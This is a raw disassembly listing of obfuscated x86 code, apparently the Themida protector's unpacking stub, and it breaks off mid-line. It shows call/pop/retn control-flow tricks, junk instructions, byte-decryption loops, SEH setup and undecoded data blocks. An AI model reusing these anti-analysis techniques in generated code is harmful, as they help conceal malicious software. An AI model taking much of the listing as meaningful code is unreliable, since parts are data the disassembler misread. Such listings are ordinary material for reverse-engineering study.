loc_5C09CF+3 mov word ptr [ebx], cs stosb pop edx mov eax, ds:9AA7A8D2h adc al, 1Dh loc_5C09CF: ; CODE XREF: Themida_:005C09BFp mov ecx, 0F98A2D54h pop ebx mov esi, [ebp+615BD08h] push 0 push eax call sub_5C09E6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C09E6 proc near ; CODE XREF: Themida_:005C09DEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5C09E6 endp ; --------------------------------------------------------------------------- dw 1B63h ; --------------------------------------------------------------------------- xor eax, 0C4E16D5Fh sbb [ecx+1217159Dh], ecx push es mov edi, [ebp+612290Dh] mov eax, [ebp+6122399h] or ebx, [ebp+6122675h] mov [esi], eax push 0 push eax call sub_5C0A23 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0A23 proc near ; CODE XREF: Themida_:005C0A1Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5C0A23 endp ; --------------------------------------------------------------------------- db 0E9h dd 0D8ED5DB1h, 8B35A43Ah, 122E099Dh, 5BD0306h, 8B061219h dd 1224CD85h, 6E806h, 1E1C0000h, 703D816Bh, 0C6672DBBh dd 0BF665B77h, 46890842h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 400760AEh dd 617301EBh, 0F5097C0h, 288h, 89DF8B00h, 810F2434h, 0 ; --------------------------------------------------------------------------- push dword ptr [ebp+615BD04h] xor edi, [ebp+61200DDh] push 4FE92F6Bh ja loc_5C0AB6 mov bx, dx loc_5C0AB6: ; CODE XREF: Themida_:005C0AADj xor dword ptr [esp], 4FF62C94h push 0 push eax call sub_5C0AC8 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0AC8 proc near ; CODE XREF: Themida_:005C0AC0p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5C0AC8 endp ; --------------------------------------------------------------------------- dd 728D42DCh, 9469FAA1h, 6E96A34h, 7E000000h, 4EDB119h dd 0C858D50h, 660615BDh, 50B66CBBh, 66240489h, 0FF8595BFh dd 12303195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0A43E7AADh, 473DEE69h, 8961D4B7h dd 1218F1B5h, 1185C706h, 3061200h, 1000000h, 12075195h dd 0CBD8306h, 615BDh, 36840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 99B80EC3h dd 0E931DA95h, 2Bh, 0BE9h, 0B1611200h, 6C4275C5h, 27CB2127h ; --------------------------------------------------------------------------- loc_5C0B84: ; CODE XREF: Themida_:005C0780j ; Themida_:005C0B9Bj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5C0B84 jmp short loc_5C0BD5 ; --------------------------------------------------------------------------- loc_5C0B9F: ; CODE XREF: Themida_:005C0BB6j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5C0B9F jmp short loc_5C0BD5 ; --------------------------------------------------------------------------- loc_5C0BBA: ; CODE XREF: Themida_:005C0BD1j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5C0BBA jmp short $+2 loc_5C0BD5: ; CODE XREF: Themida_:005C0B9Dj ; Themida_:005C0BB8j mov eax, eax mov edi, [ebp+61226E9h] push 0 push edx call sub_5C0BE8 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0BE8 proc near ; CODE XREF: Themida_:005C0BE0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5C0BE8 endp ; --------------------------------------------------------------------------- dd 0A7FEC971h, 99D8B80h, 8306122Bh, 120011BDh, 850F0306h dd 429h, 0E5B50B60h, 81061214h, 665D44C9h, 0BD83616Eh dd 615BD0Ch, 0E840F00h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 1DDFC351h dd 0B7071D02h, 2767835Dh, 0FFDE8B66h, 15BD0CB5h, 95FFF906h dd 6122029h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 67C35747h, 0C9BD8B39h, 8B061220h, 15BD00B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0ED597BC4h, 65903A1Ch, 10E9h, 92CE0900h, 0EB915B38h dd 2EA405A0h, 8832DB04h, 106C758h, 6A000100h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 9C96C353h, 5054A104h, 6A243489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0FC5C356h dd 9D29FFB7h, 61231C9h, 0BD0CB5FFh, 6A0615h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 934B8CC3h dd 0E195FF9Ch, 6A06121Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0A990C357h, 2D6FE43Bh dd 7A6CBF98h, 0B58B2425h, 615BD00h, 164D9D8Bh, 858B0612h dd 6123039h, 1D51BD89h, 86890612h, 0C4h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 18h, 0F1C35343h, 0B89C8AA9h dd 3860Fh, 0BF0F0000h, 0CD958BDFh, 6A06122Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 89DCC351h, 896441DBh, 12276195h, 4C28306h, 205089F8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 46C35747h dd 586EA8E3h, 858DFE8Bh, 615D0EAh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0FFC35545h, 69DADDB5h, 618D01B4h dd 89061203h, 122D219Dh, 35858906h, 89061234h, 0B886h dd 6A006A00h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0FA87C356h, 0F529A01Fh, 799531h dd 85890612h, 61229E1h, 0BD0CB5FFh, 6A0615h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 89139CC3h dd 0FFD673A0h, 122CD595h, 9D8B6006h, 612045Dh, 38E0Fh dd 0B70F0000h, 509661DFh, 4A4CBF52h, 310F2F3Eh, 585AFB8Bh dd 9B67BF50h, 6A9669CCh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 130AC350h, 8FF8031Fh dd 0F259D2Bh, 95890612h, 6122E41h, 0BD0CB5FFh, 8D290615h dd 6122E25h, 2E2995FFh, 6A0612h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0ED08F6C3h, 74DBD695h dd 89057ADAh, 12000995h, 89BD8306h, 61211h, 31840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 193634C3h, 24348950h, 9840Fh, 860F0000h, 3, 0FFCBE380h dd 15BD0CB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 0FFDF8BF9h, 122AA595h, 20BF6606h dd 0CB5FFCEh, 600615BDh, 7BCE8166h, 19BD8987h, 6106122Ch dd 1BB195FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0E7EDD2C3h, 2A41BD83h, 0F020612h dd 4184h, 0BE86000h, 0E6000000h, 3FB4462Fh, 0CF62056Eh dd 10E84D44h, 17000000h, 5C15AA6Ch, 32D4162Ah, 0C9604BBh dd 5A9AB1FCh, 0B5B5895Ah, 61061227h, 18A9858Bh, 8B660612h dd 0C6DAh, 2858D89h, 85C70612h, 6120301h, 0 ; --------------------------------------------------------------------------- jmp loc_5C1039 ; --------------------------------------------------------------------------- db 6Ah, 0A2h, 0B6h dd 13CB1D1Eh, 871434CEh, 67ED52F2h db 0E1h ; --------------------------------------------------------------------------- loc_5C1039: ; CODE XREF: Themida_:005C1024j jmp loc_5C0378 ; --------------------------------------------------------------------------- dw 0DE8h dd 0B6000000h, 0F8613B94h, 83BD884Dh, 7CB40D07h, 661597BFh dd 0C18B5F7Ah, 0B418D01h, 858D0612h, 6120065h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B0C35747h, 55CBBB66h dd 6CBF6650h, 240489A6h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 56C35141h, 6AF8AAh, 5E9h, 0C8AFF100h dd 0BD0122A6h, 61230A1h, 0BF66006Ah, 858D6F4Dh, 6165777h dd 68D0Fh, 0D3810000h, 697D2C0Bh, 1829B589h, 0C0830612h dd 8950F505h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0B7E506C3h, 6A006AECh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 5595FFE0h, 6A06120Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0B161C356h, 6C4275C5h dd 9E86027h, 2F000000h, 2FCDBE74h, 0E09B0A27h, 0AE9h, 1E5BDF00h dd 76A3FBE8h, 5F938AB6h, 6840Fh, 8D890000h, 61225EDh, 819D3361h dd 8D061216h, 159BCA8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 3258CEAFh, 1DE19D01h dd 0D1FF0612h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0FDC35141h, 0BE9h, 0CD8A3000h, 0DA273F43h, 4FEDCAABh dd 0EE9BD83h, 0F010612h, 7085h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0E84E2CE3h dd 459D8B0Bh, 6A061203h, 0FABF0F02h, 840F5090h, 11h, 0AE951h dd 0EC740000h, 6A75FDC3h, 930976ACh, 8166905Fh, 0FFAA53D3h dd 122CD595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0B3922BC8h, 0C97E90Ch, 0E80000h dd 5D000000h, 5781ED81h, 9D8B0616h, 6122CB9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E4C35040h, 96A0C692h dd 968F858Dh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0FE7278C3h, 0F12020BFh, 8A52506Dh dd 4895BFEh, 15858924h, 8A061200h, 35FF64DEh, 0 ; --------------------------------------------------------------------------- mov ebx, esi mov large fs:0, esp push 0 push edi call sub_5C12DC and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C12DC proc near ; CODE XREF: Themida_:005C12D4p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5C12DC endp ; --------------------------------------------------------------------------- xchg eax, edi mov ch, 5 db 67h dec ecx mov esp, [esi+51BD8BF3h] adc al, 12h push es inc dword ptr [ebp+6121235h] jno loc_5C130C mov ebx, [ebp+6122849h] loc_5C130C: ; CODE XREF: Themida_:005C1300j push 0FFFFFFFFh mov edi, 5191037Bh push dword ptr [ebp+61214C1h] push 0 push ecx call sub_5C1324 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1324 proc near ; CODE XREF: Themida_:005C131Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5C1324 endp ; --------------------------------------------------------------------------- dd 0CD7B983Ch, 8B66BD2Ah, 7595FFF9h, 0E9061214h, 0F0h dd 12399D23h, 0B00612h, 6890Fh, 9D230000h, 6121B59h, 0BD8970E6h dd 61231FDh, 0BD2371E4h, 6122625h, 830F613Ch, 0C4h, 0FFE8B66h dd 0BF0FC8B6h, 6BADEh, 9D8B0000h, 6121085h, 0ABBBC18Bh dd 0C17B5CD7h, 14E804E8h, 8A000000h, 675849C2h, 0C7FEE962h dd 80A1F895h, 0A5BA5D6Ch, 5B26CFF4h, 0B3E2F766h, 81575142h dd 709BD6C3h, 2B5F5F6Bh, 0BD8B51C8h, 61203C1h, 0BFD18B5Bh dd 2B9C4668h, 0E9h, 0FD858B00h, 89061220h, 120781BDh, 7C08306h dd 0C083F8h, 1FC59D29h, 0D03B0612h, 10830Fh, 0B70F0000h dd 3DE9F5D8h, 52000000h, 92BD37BFh, 8D8B5F71h, 61230DDh dd 285D9D89h, 0E1830612h, 21840F01h, 0F000000h, 0A583FFB7h dd 61230DDh, 0E381FEh, 8943DFA4h, 1220FD95h, 45850106h dd 0E906122Ah, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+615ED16h] mov bl, 0E1h push 0 push 0 push esi call sub_5C144D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C144D proc near ; CODE XREF: Themida_:005C1445p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5C144D endp ; --------------------------------------------------------------------------- rol byte ptr [ecx-67549611h], 32h call dword ptr [ebp+61229D1h] push edx add bx, 0FF69h pop ebx mov ecx, 855h push 0 push esi call sub_5C1481 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1481 proc near ; CODE XREF: Themida_:005C1479p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5C1481 endp ; --------------------------------------------------------------------------- movsb mov edx, 899F4206h mov ah, 18h xor [ebp+6121D35h], ecx and ecx, 0FFFFFFFCh push 0 push edx call sub_5C14AD and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C14AD proc near ; CODE XREF: Themida_:005C14A5p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5C14AD endp ; --------------------------------------------------------------------------- db 8Dh, 0CBh, 23h ; --------------------------------------------------------------------------- sar byte ptr [edi+7793662Ch], 1 mov edi, [ebp+612266Dh] cld push 0 push edx call sub_5C14D8 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C14D8 proc near ; CODE XREF: Themida_:005C14D0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5C14D8 endp ; --------------------------------------------------------------------------- imul ecx, [ebx+6AC02BFBh], 0 push ebp call sub_5C14F8 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C14F8 proc near ; CODE XREF: Themida_:005C14F0p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5C14F8 endp ; --------------------------------------------------------------------------- dd 67C918BCh, 8B8CEB9Dh, 121169BDh, 8BD22B06h, 1219199Dh dd 0C233AD06h, 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 6FF92FBFh, 88826828h, 6E95060h, 40000000h, 0E482EC45h dd 8FBA5894h, 610AF3E3h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0F1C35242h, 0E39F1C80h, 8B4F5493h, 880DF9h dd 9D290000h, 6122889h, 2DCD958Bh, 6A0612h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0AFC6FC3h dd 2129C9C2h, 1619D35h, 1221598Dh, 0ED853106h, 8B061222h dd 1231BD8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 2F44A154h, 5ED28734h, 2D358589h dd 0BB660612h, 8B509B27h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 6ADEB70Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8B05C356h, 12255D9Dh dd 19BD8306h, 61214h, 6B840Fh, 0DB810000h, 67EA27ECh, 0B8h dd 0DD87BB00h, 8D8D2D66h, 6124E4Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 4EC35646h, 9D8B8EA0h, 6122479h dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0CCE34AC3h, 2797554Ch, 53E278E2h, 0B5C78152h dd 5F05B188h, 11BD835Fh, 61200h, 446840Fh, 0C7810000h dd 81C90A4h, 7D852960h, 61061203h, 11BD83h, 0F010612h dd 44684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 5C3139E3h, 470B2766h, 7166C381h dd 0BD8340DAh, 6120011h, 0DA860F03h, 6A000003h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0D16BC355h, 0D95A723Ch, 0F8B5758h, 160F8B7h, 120F4D85h dd 0D98C6606h, 61FB8B60h, 0F04E180h, 0C90AF8BFh, 172840Fh dd 0CBBF0000h, 8B4A3ECDh, 1224CD85h, 0F516006h, 86h, 0EE95F00h dd 0E2000000h, 0F53BC80Ah, 0E9548529h, 46320148h, 85336111h dd 612248Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0C2C35545h, 352129C9h, 0BF9CB81h, 52502623h, 2404895Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 93C35242h dd 823C32Ah, 8DBD8B90h, 6A061229h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 8065A1D7h dd 0A6308200h, 4E89Ah, 3FF0000h, 0E960001Fh, 7, 21451F85h dd 0E8BDD9F9h, 5, 1672C096h, 50615BECh, 424448Bh, 0F60008Bh dd 48Ch, 0EEBE6600h, 3C00BA73h, 89611EC4h, 58042444h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0CAC35141h, 0E9535773h dd 14h, 0A74F794Eh, 50D2791Bh, 0C8BFA025h, 0E328D0D6h dd 64FAEA6Ah, 95FF5F5Fh, 6123031h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 26C35646h, 0D0700B22h, 6660FBE2h dd 0FB9C68Bh, 6166BC8Ch, 1CC58D89h, 85890612h, 615BD0Ch dd 2A719D8Bh, 9D2B0612h, 6121CE9h, 1BEE9h, 0F5F98B00h dd 0BD04858Bh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 9A9D24C3h, 4F576C92h, 0BBB62DB5h dd 20EC6C2Eh, 1800C7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0EE4AF8C3h, 0A239D258h dd 4870Fh, 0BB660000h, 0B58B75E3h, 615BD08h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B7C35747h, 2C1BD8Bh dd 858B0612h, 6122399h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 3EC35646h, 0DA8B6631h, 850F0689h, 1 dd 0CD858BF9h, 6A061224h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 71FCC357h, 74D68431h dd 89271F17h, 6A0446h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0C0A080C3h, 6E99Ch, 284C0000h, 0AC6E74DFh dd 8A5025B3h, 243489FEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0D0C35545h, 0DE8B4688h, 0BD04B5FFh, 6A0615h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0D29071C3h, 7DC16821h, 0BB66F397h, 4819CA0h, 87863E24h dd 0CE90Ch, 865B0000h, 558EAA77h, 0EBB1EFC1h, 858D5680h dd 615BD0Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 68C35242h, 50CCED09h, 840Fh, 4890000h, 0FFFE8B24h dd 12303195h, 0C1E38106h, 61763385h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 77C35141h, 33C197EFh, 121391BDh dd 1185C706h, 3061200h, 0E9000000h, 14h, 0EFEA2164h, 7F3A15C0h dd 21F666CDh, 46834684h, 3E21F040h, 13ED9D89h, 0BD830612h dd 615BD0Ch, 0E840F00h, 89000000h, 121AE5BDh, 1EE906h dd 0BF0F0000h, 0C3050FBh, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 846EBB66h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 8EC35747h, 0A06A5193h, 72C9DD8Ah dd 11BD83F5h, 3061200h, 36D850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 594E5FC3h dd 0C224027Ah, 0BF0FDDD3h, 0CBD83DFh, 615BDh, 339840Fh dd 95890000h, 6120899h, 0BD0CB5FFh, 60530615h, 901C380h dd 1232D5BDh, 0FF5B6106h, 12202995h, 0DABF0F06h, 0BD00B58Bh dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 363EFCC3h, 91C685B3h, 0CD8D0928h, 0C7061212h dd 1000106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 860F0817h, 2, 8B50FD8Ah, 243489F8h dd 20C99D23h, 0B5FF0612h, 615BD0Ch, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 5DC35747h, 0A6A32B77h, 0D185895Bh dd 0FF061228h, 121AE195h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0F5A03BF5h dd 98BF7080h, 8EBB93A4h, 8B48CFAEh, 15BD00B5h, 39858B06h dd 8B061230h, 1214659Dh, 0C4868906h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 269DC357h, 0B480197Fh, 8B2F3081h, 122DCD95h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0E975522Ah, 8343C5CFh, 0BD2904C2h, 6121909h, 0F205089h dd 68Bh, 0ADBD8900h, 8D06122Fh, 15D0EA85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 29CAAA1Bh, 122AA995h, 0B8868906h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 2817C355h, 11DCC0E0h, 12FABF66h, 8E9h, 933B7E00h, 0BEB7524Ch dd 29006AAEh, 122F4D95h, 0CB5FF06h, 6A0615BDh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 1FC5C352h, 0DB818A85h, 55DFB015h, 2CD595FFh, 9D8B0612h dd 6120069h, 0DE8B6696h, 96F88B50h, 0B5FFC8B7h, 615BD0Ch dd 6541BF66h, 13E8h, 45873D00h, 13ADEE19h, 2717EC28h, 0F8B42962h dd 0D3B952A6h, 8858D89h, 0FF5F0612h, 122E2995h, 84BB6606h dd 89BD8340h, 61211h, 3B840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 7FC1AC3h dd 0DB6FE2FCh, 4830F96h, 66000000h, 500D23BFh, 310F5250h dd 0E9F6BBFh, 96585A2Bh, 0CB5FFFCh, 6A0615BDh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0B4CAC352h, 663FC5C3h, 865DE381h, 2AA595FFh, 66F90612h dd 0B5FFDE8Bh, 615BD0Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 46C35343h, 39688575h, 35EDA838h, 95FFFB8Bh dd 6121BB1h, 2A41BD83h, 0F020612h, 2E84h, 0FD9D8B00h, 8B061203h dd 1218A985h, 13830F06h, 0E8000000h, 0Bh, 8A1B826Dh, 97FE3946h dd 50124506h, 0C65B5Bh, 0C59D8B00h, 0C7061225h, 12030185h dd 6, 69BD8B00h, 0E9061227h, 0FFFFF430h, 2F21BD8Bh, 8B660612h dd 89C18BD8h, 12309985h, 65858D06h, 29061200h, 1209158Dh dd 698D8906h, 50061200h, 0F88B5250h, 8B66310Fh, 89585ADFh dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 80F33CC3h, 11958B60h, 0E9061234h, 0Bh, 933B053h dd 5BB02BB6h, 61F3AB69h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0E82B4EC3h, 0AC69E27Eh dd 6AEC1CFFh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0BCF6CBEAh, 0BE9h, 0A7DBF700h, 6263EED7h dd 3977ABCDh, 2375BD89h, 858D0612h, 6166655h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1BC35141h, 6B2B7F68h dd 9D8B66FCh, 6120285h, 6A05C083h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0DFA3C353h dd 0C5BD8959h, 31061203h, 122FA59Dh, 0FD8A9006h, 0BF0F9050h dd 89006AF9h, 1218A5BDh, 6A006A06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0DA79C352h dd 95FFE24Dh, 6120B55h, 0CE9h, 99AAE800h, 6F814F7h, 0AAA95190h dd 0CA8D8DC0h, 8906159Bh, 12186D95h, 0FD1FF06h, 0BD83FFBFh dd 6120EE9h, 0CC850F01h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 637CC353h dd 0CF819C28h, 5AAE1913h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0A4D7FDC3h, 0F1237AB0h dd 90B02ED8h, 11E95250h, 7A000000h, 7821A297h, 0D38CD15Bh dd 963DB767h, 548D640Bh, 6660310Fh, 0FE8C78Bh, 5B000000h dd 1C926A5Bh, 8A6A03F1h, 3504701Fh, 61581382h, 5750585Ah dd 7E8h, 0C23A0600h, 0C6E15F99h, 310F5250h, 5F5B585Ah dd 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0FD111786h, 0FFFC4A8Bh, 122CD595h, 5E906h dd 70070000h, 0E9356F1Ch, 0E38h, 0E8h, 0ED815D00h, 616665Fh dd 8AFAB70Fh, 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 11BD8B2Ah, 8D061233h, 15968F85h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 661DB1A9h, 0DDF9DF81h, 1F850F50h, 50000000h dd 13E852h, 91190000h, 83C90C99h, 0EA2B20B3h, 0A44CADD1h dd 752945D7h, 310F5BFEh, 489585Ah, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0F2F669FCh dd 0A5BD896Bh, 0E9061214h, 0Ch, 6833E1A2h, 0C3A563E7h dd 4609A3C4h, 35FF64h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0B190C350h dd 0DE8B66C6h, 26D59D8Bh, 89640612h, 25h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0B8A048B2h, 8C62F0ABh, 80F55EBAh, 85FFFAF3h, 6121235h dd 0EEDBD8Bh, 0FF6A0612h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0BAC35646h, 51A34C92h, 9589B5DAh, 61207CDh dd 29D99D89h, 0B5FF0612h, 61229E5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0FAC35141h, 0FDBF52D6h, 0FF69E821h dd 12147595h, 105E906h, 0BB660000h, 0B09CBCh, 6070E6F9h dd 20018D89h, 0E4610612h, 0CE871h, 9C460000h, 15D05994h dd 0A90BE10Ah, 5FFC561Ch, 830F613Ch, 0D7h, 80C8B60Fh, 6BA02DFh dd 8B000000h, 2830FFEh, 8B000000h, 66C18BFAh, 0E8C1F88Bh dd 919D8B04h, 6606121Dh, 2BF8E2F7h, 0E870FC8h, 60000000h dd 4C3BD081h, 95296A3Eh, 6122A3Dh, 0F8D18B61h, 0E9h, 2D858B00h dd 8906121Eh, 121FA985h, 7C08306h, 159D89h, 0C0830612h dd 0EE900h, 92570000h, 0FE2D4DE7h, 259B1523h, 0F2E2D1D9h dd 830FD03Bh, 20h, 0FE8h, 0A228D900h, 0FB004FFCh, 0DDBDCA5Bh dd 